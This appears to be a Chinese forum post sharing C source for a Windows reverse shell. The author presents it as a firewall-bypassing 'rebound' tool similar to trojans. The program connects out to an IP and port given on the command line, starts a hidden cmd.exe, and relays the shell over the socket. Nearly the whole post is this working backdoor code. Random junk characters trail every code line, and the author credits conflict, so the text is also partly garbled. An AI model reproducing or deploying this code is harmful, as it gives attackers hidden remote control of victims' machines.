这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7@@,4_q E
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/* ============================== OE=]/([
Rebound port in Windows NT TrBBV]4
By wind,2006/7 ~H)s>6>#v
===============================*/ bQ3EBJT{P
#include `- \J/I
#include bZB7t`C5
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#pragma comment(lib,"wsock32.lib") XYM 5'
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void OutputShell(); scsN2#D7U/
SOCKET sClient; (<"uV%1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T|{1,wP
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void main(int argc,char **argv) ("7rjQjRz
{ :E>"z6H
WSADATA stWsaData; el;ey Ga
int nRet; 0E5"}8
SOCKADDR_IN stSaiClient,stSaiServer; A=(<g";m
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if(argc != 3) hPP,D\#
{ \.`;p
printf("Useage:\n\rRebound DestIP DestPort\n"); /ehmy(zL
return; 122%KS
} B`)gXqBt
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WSAStartup(MAKEWORD(2,2),&stWsaData); "\x<Zg;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |\lsTY&2
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stSaiClient.sin_family = AF_INET; *" ("^_x\
stSaiClient.sin_port = htons(0); +p%!G1Yz
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m=hlim;P,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gtV^6(Y
{ /s'7[bSv
printf("Bind Socket Failed!\n"); V?.')?'V
return; 907N;r
} Cm~Pn"K_]
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stSaiServer.sin_family = AF_INET; /{[Y l[{"<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v `a:Lj
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rW8.bMmM
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ co93}A,k
printf("Connect Error!"); n7J6YtUwP
return; f6I$d<
} bp>-{Nv
OutputShell(); qPn}$1+~
} JZa^GW:YQh
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void OutputShell() z^ai *
{ J@Qt(rRxi
char szBuff[1024]; YKUb'D:t]
SECURITY_ATTRIBUTES stSecurityAttributes; va>u1S<lO
OSVERSIONINFO stOsversionInfo; |2$wJ$I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q|DVB
STARTUPINFO stStartupInfo; #K:!s<_"
char *szShell; nE2w?
PROCESS_INFORMATION stProcessInformation; K-a~Kr
unsigned long lBytesRead; #{m~=1%;Ya
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8(6(,WwP}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .qN|.:6a
stSecurityAttributes.lpSecurityDescriptor = 0; B$Z%_j&
stSecurityAttributes.bInheritHandle = TRUE; nmH1Wg*aW
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t-gLh(-.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bPlqS+ai_
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I)JqaM
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K+s@.D9J
stStartupInfo.wShowWindow = SW_HIDE; 3.t
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stStartupInfo.hStdInput = hReadPipe; cbton<r~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]g3RVA%\l
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GetVersionEx(&stOsversionInfo); @(m+B\
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switch(stOsversionInfo.dwPlatformId) KE~l#=S
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case 1: I:L}7uA[t
szShell = "command.com"; T"b'T>Y
break; _s1pif
default: MXsCm(
szShell = "cmd.exe"; -lb,0
break; MR?5p8S#g
} lWR".
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -](NMRqfN
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send(sClient,szMsg,77,0); MzRliH8e
while(1) ZNKopA(=|%
{ ~fht [S?@M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ' 1 }ybSG
if(lBytesRead) jQ"z\}Wf
{ 4X1!t
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '#oNOU
send(sClient,szBuff,lBytesRead,0); lB(E:{6OZ
} jO5,PTV
else e2dg{n$6"
{ , S
}
lBytesRead=recv(sClient,szBuff,1024,0); R/O>^s!Co
if(lBytesRead<=0) break; 4ZX6=-u^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,(@J Ntx
} TpSv7k T]
} 0p31C7!
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return; Od,P,t9
}